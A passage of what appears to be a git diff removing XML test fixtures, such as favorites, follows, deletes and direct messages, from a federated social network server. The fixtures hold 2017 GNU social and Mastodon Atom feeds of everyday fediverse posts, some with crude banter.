tag:social.heldscal.la,2017-05-02:fave:23211:note:2013365:2017-05-02T12:37:55+00:00 - Favorite - lambadalambda favorited something by xj9: <p>&gt; rollerblading to work</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T12:37:55+00:00 - 2017-05-02T12:37:55+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:sunshinegardens.org,2017-05-02:objectId=61020:objectType=Status - New note by xj9 - <p>&gt; rollerblading to work</p> - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=5a0e98612f634218 - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2013259:2017-05-02T12:29:03+00:00 - Favorite - lambadalambda favorited something by cereal: @<a href="https://gs.smuglo.li/user/28250" class="h-card mention" title="Bricky">thatbrickster</a> @<a href="https://social.heldscal.la/user/23211" class="h-card mention" title="Constance Variable">lambadalambda</a> But why? - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T12:29:03+00:00 - 2017-05-02T12:29:03+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:sealion.club,2017-05-02:noticeId=3059985:objectType=comment - New comment by cereal - @<a href="https://gs.smuglo.li/user/28250" class="h-card mention" title="Bricky">thatbrickster</a> @<a href="https://social.heldscal.la/user/23211" class="h-card mention" title="Constance Variable">lambadalambda</a> But why? - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=2c27c27df8ec4dcc - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2013227:2017-05-02T12:24:27+00:00 - Favorite - lambadalambda favorited something by thatbrickster: @<a href="https://social.heldscal.la/user/23211" class="h-card u-url p-nickname mention" title="Constance Variable">lambadalambda</a> install gentoo - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T12:24:27+00:00 - 2017-05-02T12:24:27+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:gs.smuglo.li,2017-05-02:noticeId=2144296:objectType=comment - New comment by thatbrickster - @<a href="https://social.heldscal.la/user/23211" class="h-card u-url p-nickname mention" title="Constance Variable">lambadalambda</a> install gentoo - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=2c27c27df8ec4dcc - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2013213:2017-05-02T12:22:53+00:00 - Favorite - lambadalambda favorited something by dwmatiz: @<a href="https://social.heldscal.la/user/23211" class="h-card mention">lambadalambda</a> *unzips dick* - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T12:22:53+00:00 - 2017-05-02T12:22:53+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:sealion.club,2017-05-02:noticeId=3059800:objectType=comment - New comment by dwmatiz - @<a href="https://social.heldscal.la/user/23211" class="h-card mention">lambadalambda</a> *unzips dick* - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=2c27c27df8ec4dcc - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2013199:2017-05-02T12:22:03+00:00 - Favorite - lambadalambda favorited something by shpuld: @<a href="https://social.heldscal.la/user/23211" class="h-card mention" title="Constance Variable">lambadalambda</a> get #<span class="tag"><a href="https://shitposter.club/tag/cofe" rel="tag">cofe</a></span> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T12:22:03+00:00 - 2017-05-02T12:22:03+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-02:noticeId=2783524:objectType=comment - New comment by shpuld - @<a href="https://social.heldscal.la/user/23211" class="h-card mention" title="Constance Variable">lambadalambda</a> get #<span class="tag"><a href="https://shitposter.club/tag/cofe" rel="tag">cofe</a></span> - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=2c27c27df8ec4dcc - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-05-02:noticeId=2013185:objectType=note - New note by lambadalambda - What now? <a href="https://social.heldscal.la/file/e4822d95de677757ff50d49672a4046c83218b76c04a0ad5e5f1f0a9a9eb1a74.gif" title="https://social.heldscal.la/file/e4822d95de677757ff50d49672a4046c83218b76c04a0ad5e5f1f0a9a9eb1a74.gif" rel="nofollow external noreferrer" class="attachment" id="attachment-422572">https://social.heldscal.la/attachment/422572</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-05-02T12:21:04+00:00 - 2017-05-02T12:21:04+00:00 - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=2c27c27df8ec4dcc - - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:note:2012929:2017-05-02T12:01:25+00:00 - Favorite - lambadalambda favorited something by drkmttr: <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> I checked out No Agenda because I saw you mention it several time. Sadly, I wasn't impressed. I'm all about varying perspectives but Adam and John basically just sound like resentful curmudgeons. It seems like their shtick is basically playing devil's advocate to everything to arouse some discontent. Just my two cents. 😉</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T12:01:25+00:00 - 2017-05-02T12:01:25+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:mstdn.io,2017-05-02:objectId=1310093:objectType=Status - New note by drkmttr - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> I checked out No Agenda because I saw you mention it several time. Sadly, I wasn't impressed. I'm all about varying perspectives but Adam and John basically just sound like resentful curmudgeons. It seems like their shtick is basically playing devil's advocate to everything to arouse some discontent. Just my two cents. 😉</p> - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=2f329b4eb20e83e2 - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2012336:2017-05-02T11:06:42+00:00 - Favorite - lambadalambda favorited something by clacke: @<a href="https://mastodon.org.uk/users/dick_turpin" class="h-card u-url p-nickname mention" title="dick_turpin">dickturpin</a> @<a href="http://quitter.se/user/113503" class="h-card u-url p-nickname mention" title="Luke">luke</a> Oh no, I miss being irritated by you, it helps me understand myself and others. Also it builds character. :-)<br /> <br /> So if this is not federation because you can't follow all of online mankind, what should we call it? Proto-federated? Pre-federated?<br /> <br /> The term has been used decades ago for just one Microsoft Active Directory domain cross-certifying the root of another, by mutual agreement. I don't see how it's any less relevant to opportunistic federation between open servers on an open internet.<br /> <br /> I'm not saying we should be satisfied, I'm just saying that "federate" is a useful word and to build a big system we need to start with a small one. And focus on the things we *can* change, like helping the OStatus network grow and making the tools more useful.<br /> <br /> Saying that the network's ideals have failed because other networks aren't joining is doing neither of that. - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T11:06:42+00:00 - 2017-05-02T11:06:42+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-05-02:noticeId=2012336:objectType=comment - New comment by clacke - @<a href="https://mastodon.org.uk/users/dick_turpin" class="h-card u-url p-nickname mention" title="dick_turpin">dickturpin</a> @<a href="http://quitter.se/user/113503" class="h-card u-url p-nickname mention" title="Luke">luke</a> Oh no, I miss being irritated by you, it helps me understand myself and others. Also it builds character. :-)<br /> <br /> So if this is not federation because you can't follow all of online mankind, what should we call it? Proto-federated? Pre-federated?<br /> <br /> The term has been used decades ago for just one Microsoft Active Directory domain cross-certifying the root of another, by mutual agreement. I don't see how it's any less relevant to opportunistic federation between open servers on an open internet.<br /> <br /> I'm not saying we should be satisfied, I'm just saying that &quot;federate&quot; is a useful word and to build a big system we need to start with a small one. And focus on the things we *can* change, like helping the OStatus network grow and making the tools more useful.<br /> <br /> Saying that the network's ideals have failed because other networks aren't joining is doing neither of that. - - - - - - - https://s.wefamlee.be/conversation/16478 - - - - - - - tag:social.heldscal.la,2017-05-02:fave:23211:comment:2011332:2017-05-02T10:37:40+00:00 - Favorite - lambadalambda favorited something by moonman: @<a href="https://social.heldscal.la/user/23211" class="h-card mention" title="Constance Variable">lambadalambda</a> <a href="https://www.youtube.com/watch?v=mKLizztikRk" title="https://www.youtube.com/watch?v=mKLizztikRk" class="attachment" rel="nofollow">https://www.youtube.com/watch?v=mKLizztikRk</a> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-02T10:37:40+00:00 - 2017-05-02T10:37:40+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-02:noticeId=2781833:objectType=comment - New comment by moonman - @<a href="https://social.heldscal.la/user/23211" class="h-card mention" title="Constance Variable">lambadalambda</a> <a href="https://www.youtube.com/watch?v=mKLizztikRk" title="https://www.youtube.com/watch?v=mKLizztikRk" class="attachment" rel="nofollow">https://www.youtube.com/watch?v=mKLizztikRk</a> - - - - - - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=11d8b8c27d9513ec - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-05-02:noticeId=2012145:objectType=comment - New comment by lambadalambda - @<a href="https://sealion.club/user/186" class="h-card u-url p-nickname mention" title="I'M CEREAL U GUISE">cereal</a> ? No, you don't even need the identity servers for federation. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-02T10:37:33+00:00 - 2017-05-02T10:37:33+00:00 - - - - https://sealion.club/conversation/1629037 - - - - - - - diff --git a/test/fixtures/cw_retweet.xml b/test/fixtures/cw_retweet.xml deleted file mode 100644 index c99a569d7..000000000 --- a/test/fixtures/cw_retweet.xml +++ /dev/null @@ -1,68 +0,0 @@ - - - https://mastodon.social/users/lambadalambda.atom - Critical Value - - 2017-04-16T21:47:25Z - https://files.mastodon.social/accounts/avatars/000/000/264/original/1429214160519.gif - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - - - - lambadalambda - Critical Value - public - - - - - - - tag:mastodon.social,2017-05-11:objectId=5647963:objectType=Status - 2017-05-11T10:23:15Z - 2017-05-11T10:23:15Z - lambadalambda shared a status by Skruyb@mamot.fr - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:mamot.fr,2017-05-10:objectId=1294943:objectType=Status - 2017-05-10T17:31:44Z - 2017-05-10T17:31:45Z - New status by Skruyb@mamot.fr - - https://mamot.fr/users/Skruyb - http://activitystrea.ms/schema/1.0/person - https://mamot.fr/users/Skruyb - Skruyb - Skruyb@mamot.fr - <p>Fr and En.<br>Posts will disappear on a regular basis.</p> - - - - Skruyb - The 7th Son - Fr and En.Posts will disappear on a regular basis. - public - - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - Hey. - <p><span class="h-card"><a href="https://mastodon.social/@lambadalambda">@<span>lambadalambda</span></a></span></p><p>Hey!!!</p> - - - public - - - - <p><span class="h-card"><a href="https://mastodon.social/@lambadalambda">@<span>lambadalambda</span></a></span></p><p>Hey!!!</p> - - public - - - - diff --git a/test/fixtures/delete.xml b/test/fixtures/delete.xml deleted file mode 100644 index 731e1c204..000000000 --- a/test/fixtures/delete.xml +++ /dev/null @@ -1,39 +0,0 @@ - - - https://mastodon.sdf.org/users/snowdusk.atom - snowdusk - Amateur live performance DJ/radio DJ on SDF's underground Internet radio http://aNONradio.net (LIVE Sat Sun Mon Tue 23:00-24:00 UTC) - http://snowdusk.sdf.org - 2017-06-17T04:14:34Z - https://mastodon.sdf.org/system/accounts/avatars/000/000/002/original/405a7652d5f60449.jpg?1497672873 - - https://mastodon.sdf.org/users/snowdusk - http://activitystrea.ms/schema/1.0/person - https://mastodon.sdf.org/users/snowdusk - snowdusk - snowdusk@mastodon.sdf.org - <p>Amateur live performance DJ/radio DJ on SDF&apos;s underground Internet radio <a href="http://anonradio.net/" rel="nofollow noopener" target="_blank"><span class="invisible">http://</span><span class="">anonradio.net/</span><span class="invisible"></span></a> (LIVE Sat Sun Mon Tue 23:00-24:00 UTC) - <a href="http://snowdusk.sdf.org/" rel="nofollow noopener" target="_blank"><span class="invisible">http://</span><span class="">snowdusk.sdf.org/</span><span class="invisible"></span></a></p> - - - - snowdusk - snowdusk - Amateur live performance DJ/radio DJ on SDF's underground Internet radio http://aNONradio.net (LIVE Sat Sun Mon Tue 23:00-24:00 UTC) - http://snowdusk.sdf.org - public - - - - - - - - tag:mastodon.sdf.org,2017-06-10:objectId=310513:objectType=Status - 2017-06-10T22:02:31Z - 2017-06-10T22:02:31Z - snowdusk deleted status - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/delete - Deleted status - - - - diff --git a/test/fixtures/dm.xml b/test/fixtures/dm.xml deleted file mode 100644 index d0b8aa811..000000000 --- a/test/fixtures/dm.xml +++ /dev/null @@ -1,27 +0,0 @@ - - - tag:mastodon.social,2017-06-30:objectId=11260427:objectType=Status - 2017-06-30T13:27:47Z - 2017-06-30T13:27:47Z - New status by lambadalambda - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - - - lambadalambda - Critical Value - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> Hey.</p> - - direct - - - - diff --git a/test/fixtures/favorite.xml b/test/fixtures/favorite.xml deleted file mode 100644 index c32b4a403..000000000 --- a/test/fixtures/favorite.xml +++ /dev/null @@ -1,65 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-05T09:12:53+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061643:2017-05-05T09:12:50+00:00 - Favorite - lambadalambda favorited something by moonman: @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> @<a href="https://gs.smuglo.li/user/2326" class="h-card mention" title="Dolus_McHonest">dolus</a> childhood poring over Strong's concordance and a koine Greek dictionary, fast forward to 2017 and some fuckstick who translates japanese jackoff material tells me you just need to make it sound right in English - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T09:12:50+00:00 - 2017-05-05T09:12:50+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment - New comment by moonman - @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> @<a href="https://gs.smuglo.li/user/2326" class="h-card mention" title="Dolus_McHonest">dolus</a> childhood poring over Strong's concordance and a koine Greek dictionary, fast forward to 2017 and some fuckstick who translates japanese jackoff material tells me you just need to make it sound right in English - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=55ead90125cd4bd4 - - - - - - diff --git a/test/fixtures/favorite_with_local_note.xml b/test/fixtures/favorite_with_local_note.xml deleted file mode 100644 index 3c955607d..000000000 --- a/test/fixtures/favorite_with_local_note.xml +++ /dev/null @@ -1,64 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-05T09:12:53+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061643:2017-05-05T09:12:50+00:00 - Favorite - lambadalambda favorited something by moonman: @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> @<a href="https://gs.smuglo.li/user/2326" class="h-card mention" title="Dolus_McHonest">dolus</a> childhood poring over Strong's concordance and a koine Greek dictionary, fast forward to 2017 and some fuckstick who translates japanese jackoff material tells me you just need to make it sound right in English - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T09:12:50+00:00 - 2017-05-05T09:12:50+00:00 - - http://activitystrea.ms/schema/1.0/comment - localid - New comment by moonman - @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> @<a href="https://gs.smuglo.li/user/2326" class="h-card mention" title="Dolus_McHonest">dolus</a> childhood poring over Strong's concordance and a koine Greek dictionary, fast forward to 2017 and some fuckstick who translates japanese jackoff material tells me you just need to make it sound right in English - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=55ead90125cd4bd4 - - - - - - diff --git a/test/fixtures/follow.xml b/test/fixtures/follow.xml deleted file mode 100644 index d4e89954b..000000000 --- a/test/fixtures/follow.xml +++ /dev/null @@ -1,68 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-07T09:54:49+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - tag:social.heldscal.la,2017-05-07:subscription:23211:person:44803:2017-05-07T09:54:48+00:00 - Constance Variable (lambadalambda@social.heldscal.la)'s status on Sunday, 07-May-2017 09:54:49 UTC - <a href="https://social.heldscal.la/lambadalambda">Constance Variable</a> started following <a href="https://pawoo.net/@pekorino">mono</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-05-07T09:54:49+00:00 - 2017-05-07T09:54:49+00:00 - - http://activitystrea.ms/schema/1.0/person - https://pawoo.net/users/pekorino - mono - http://shitposter.club/mono 孤独のグルメ - - - - - pekorino - mono - http://shitposter.club/mono 孤独のグルメ - - - tag:social.heldscal.la,2017-05-07:objectType=thread:nonce=6e80caf94e03029f - - - - - - diff --git a/test/fixtures/incoming_note_activity.xml b/test/fixtures/incoming_note_activity.xml deleted file mode 100644 index 21eda2d30..000000000 --- a/test/fixtures/incoming_note_activity.xml +++ /dev/null @@ -1,42 +0,0 @@ - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-23:noticeId=29:objectType=note - New note by lambda - @<a href="http://pleroma.example.org:4000/users/lain3" class="h-card mention">lain3</a> - - - - - http://activitystrea.ms/schema/1.0/post - 2017-04-23T14:51:03+00:00 - 2017-04-23T14:51:03+00:00 - - http://activitystrea.ms/schema/1.0/person - http://gs.example.org:4040/index.php/user/1 - lambda - - - - - lambda - lambda - - - - - tag:gs.example.org:4040,2017-04-23:objectType=thread:nonce=f09e22f58abd5c7b - - - - http://gs.example.org:4040/index.php/api/statuses/user_timeline/1.atom - lambda - - - - http://gs.example.org:4040/theme/neo-gnu/default-avatar-profile.png - 2017-04-23T14:51:03+00:00 - - - - - diff --git a/test/fixtures/incoming_note_activity_answer.xml b/test/fixtures/incoming_note_activity_answer.xml deleted file mode 100644 index b1244faa6..000000000 --- a/test/fixtures/incoming_note_activity_answer.xml +++ /dev/null @@ -1,42 +0,0 @@ - - http://activitystrea.ms/schema/1.0/note - tag:gs.example.org:4040,2017-04-25:noticeId=55:objectType=note - New note by lambda - hey. - - - http://activitystrea.ms/schema/1.0/post - 2017-04-25T18:16:13+00:00 - 2017-04-25T18:16:13+00:00 - - http://activitystrea.ms/schema/1.0/person - http://gs.example.org:4040/index.php/user/1 - lambda - - - - - lambda - lambda - - - - - - - http://pleroma.example.org:4000/contexts/8f6f45d4-8e4d-4e1a-a2de-09f27367d2d0 - - - - http://gs.example.org:4040/index.php/api/statuses/user_timeline/1.atom - lambda - - - - http://gs.example.org:4040/theme/neo-gnu/default-avatar-profile.png - 2017-04-25T18:16:13+00:00 - - - - - diff --git a/test/fixtures/incoming_reply_mastodon.xml b/test/fixtures/incoming_reply_mastodon.xml deleted file mode 100644 index 8ee1186cc..000000000 --- a/test/fixtures/incoming_reply_mastodon.xml +++ /dev/null @@ -1,29 +0,0 @@ - - - tag:mastodon.social,2017-05-02:objectId=4901603:objectType=Status - 2017-05-02T18:33:06Z - 2017-05-02T18:33:06Z - New status by lambadalambda - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - - - - lambadalambda - Critical Value - public - - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://pleroma.soykaf.com/users/lain" class="u-url mention">@<span>lain</span></a></span> hey</p> - - - public - - - - diff --git a/test/fixtures/incoming_websub_gnusocial_attachments.xml b/test/fixtures/incoming_websub_gnusocial_attachments.xml deleted file mode 100644 index 9d331ef32..000000000 --- a/test/fixtures/incoming_websub_gnusocial_attachments.xml +++ /dev/null @@ -1,59 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-02T20:29:35+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-05-02:noticeId=2020923:objectType=note - New note by lambadalambda - Okay gonna stream some cool games!! <a href="https://social.heldscal.la/file/7ed5ee508e6376a6e3dd581e17e7ed0b7b638147c7e86784bf83abc2641ee3d4.gif" title="https://social.heldscal.la/file/7ed5ee508e6376a6e3dd581e17e7ed0b7b638147c7e86784bf83abc2641ee3d4.gif" rel="nofollow external noreferrer" class="attachment" id="attachment-423842">https://social.heldscal.la/attachment/423842</a> <a href="https://social.heldscal.la/file/4c209099cadfc5afd3e27a334aa0db96b3a7510dde1603305d68a2707e59a11f.png" title="https://social.heldscal.la/file/4c209099cadfc5afd3e27a334aa0db96b3a7510dde1603305d68a2707e59a11f.png" rel="nofollow external noreferrer" class="attachment" id="attachment-423843">https://social.heldscal.la/attachment/423843</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-05-02T20:29:35+00:00 - 2017-05-02T20:29:35+00:00 - - tag:social.heldscal.la,2017-05-02:objectType=thread:nonce=26c7afdcbcf4ebd4 - - - - - - - - diff --git a/test/fixtures/lambadalambda.atom b/test/fixtures/lambadalambda.atom deleted file mode 100644 index 964a416f7..000000000 --- a/test/fixtures/lambadalambda.atom +++ /dev/null @@ -1,479 +0,0 @@ - - - https://mastodon.social/users/lambadalambda.atom - Critical Value - - 2017-04-16T21:47:25Z - https://files.mastodon.social/accounts/avatars/000/000/264/original/1429214160519.gif?1492379244 - - https://mastodon.social/users/lambadalambda - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/lambadalambda - lambadalambda - lambadalambda@mastodon.social - a cool dude. - - - - lambadalambda - Critical Value - public - - - - - - - - tag:mastodon.social,2017-04-07:objectId=1874242:objectType=Status - 2017-04-07T11:02:56Z - 2017-04-07T11:02:56Z - lambadalambda shared a status by 0xroy@social.wxcafe.net - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:social.wxcafe.net,2017-04-07:objectId=72554:objectType=Status - 2017-04-07T11:01:59Z - 2017-04-07T11:02:00Z - New status by 0xroy@social.wxcafe.net - - https://social.wxcafe.net/users/0xroy - http://activitystrea.ms/schema/1.0/person - https://social.wxcafe.net/users/0xroy - 0xroy - 0xroy@social.wxcafe.net - ta caution weeb | discussions privées : <a href="https://💌.0xroy.me" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="">💌.0xroy.me</span><span class="invisible"></span></a> - - - - 0xroy - 「R O Y 🍵 B O S」 - ta caution weeb | discussions privées : <a href="https://%F0%9F%92%8C.0xroy.me" rel="nofollow noopener"><span class="invisible">https://</span><span class="">💌.0xroy.me</span><span class="invisible"></span></a> - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>someone pls eli5 matrix (protocol) and riot</p> - - public - - - <p>someone pls eli5 matrix (protocol) and riot</p> - - public - - - - - tag:mastodon.social,2017-04-06:objectId=1768247:objectType=Status - 2017-04-06T11:10:19Z - 2017-04-06T11:10:19Z - lambadalambda shared a status by areyoutoo@mastodon.xyz - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:mastodon.xyz,2017-04-05:objectId=133327:objectType=Status - 2017-04-05T17:36:41Z - 2017-04-05T18:12:14Z - New status by areyoutoo@mastodon.xyz - - https://mastodon.xyz/users/areyoutoo - http://activitystrea.ms/schema/1.0/person - https://mastodon.xyz/users/areyoutoo - areyoutoo - areyoutoo@mastodon.xyz - devops | retired gamedev | always boost puppy pics - - - - areyoutoo - Raw Butter - devops | retired gamedev | always boost puppy pics - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Some UX thoughts for <a href="https://mastodon.xyz/tags/mastodev" class="mention hashtag">#<span>mastodev</span></a>:</p><p>- Would be nice if I could work on multiple draft toots? Clicking to reply to someone seems to erase any draft I had been working on.</p><p>- Kinda risky to click on the Federated Timeline if it loads new toots and scrolls 10ms before I click on something.</p><p>I probably don't know enough web frontend to help, but it might be fun to try.</p> - - - public - - - <p>Some UX thoughts for <a href="https://mastodon.xyz/tags/mastodev" class="mention hashtag">#<span>mastodev</span></a>:</p><p>- Would be nice if I could work on multiple draft toots? Clicking to reply to someone seems to erase any draft I had been working on.</p><p>- Kinda risky to click on the Federated Timeline if it loads new toots and scrolls 10ms before I click on something.</p><p>I probably don't know enough web frontend to help, but it might be fun to try.</p> - - public - - - - - tag:mastodon.social,2017-04-06:objectId=1764509:objectType=Status - 2017-04-06T10:15:38Z - 2017-04-06T10:15:38Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - This is a test for cw federation - <p>This is a test for cw federation body text.</p> - - public - - - - - tag:mastodon.social,2017-04-05:objectId=1645208:objectType=Status - 2017-04-05T07:14:53Z - 2017-04-05T07:14:53Z - lambadalambda shared a status by lambadalambda@social.heldscal.la - http://activitystrea.ms/schema/1.0/activity - http://activitystrea.ms/schema/1.0/share - - tag:social.heldscal.la,2017-04-05:noticeId=1502088:objectType=note - 2017-04-05T06:12:09Z - 2017-04-05T07:12:47Z - New status by lambadalambda@social.heldscal.la - - https://social.heldscal.la/user/23211 - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - lambadalambda@social.heldscal.la - Call me Deacon Blues. - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - public - - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - Federation 101: <a href="https://www.youtube.com/watch?v=t1lYU5CA40o" rel="nofollow external noreferrer" class="attachment thumbnail">https://www.youtube.com/watch?v=t1lYU5CA40o</a> - - public - - - Federation 101: <a href="https://www.youtube.com/watch?v=t1lYU5CA40o" rel="nofollow external noreferrer" class="attachment thumbnail">https://www.youtube.com/watch?v=t1lYU5CA40o</a> - - public - - - - - tag:mastodon.social,2017-04-05:objectId=1641750:objectType=Status - 2017-04-05T05:44:48Z - 2017-04-05T05:44:48Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> just a test.</p> - - - public - - - - - tag:mastodon.social,2017-04-04:objectId=1540149:objectType=Status - 2017-04-04T06:31:09Z - 2017-04-04T06:31:09Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>Looks like you still can&apos;t delete your account here (PRIVACY!), but I won&apos;t be posting here anymore, my main account is <span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span></p> - - - public - - - - - tag:mastodon.social,2017-04-04:objectId=1539608:objectType=Status - 2017-04-04T06:18:16Z - 2017-04-04T06:18:16Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.social/@ghostbar" class="u-url mention">@<span>ghostbar</span></a></span> Remember to rewrite it in Rust once you&apos;re done.</p> - - - public - - - - - - tag:mastodon.social,2017-04-03:objectId=1504813:objectType=Status - 2017-04-03T18:01:20Z - 2017-04-03T18:01:20Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/comment - http://activitystrea.ms/schema/1.0/post - <p><span class="h-card"><a href="https://mastodon.xyz/@Azurolu" class="u-url mention">@<span>Azurolu</span></a></span> You mean gs.smuglo.li?</p> - - - public - - - - - - tag:mastodon.social,2017-04-03:objectId=1504805:objectType=Status - 2017-04-03T18:01:05Z - 2017-04-03T18:01:05Z - New status by lambadalambda - http://activitystrea.ms/schema/1.0/note - http://activitystrea.ms/schema/1.0/post - <p>There&apos;s nothing wrong with having several alt accounts all across the fediverse. Try out another mastodon instance (<a href="https://icosahedron.website" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="">icosahedron.website</span><span class="invisible"></span></a>) or a GNU Social instance (like <a href="https://shitposter.club" rel="nofollow noopener" target="_blank"><span class="invisible">https://</span><span class="">shitposter.club</span><span class="invisible"></span></a> or <a href="https://freezepeach.xyz" rel="nofollow noopener" 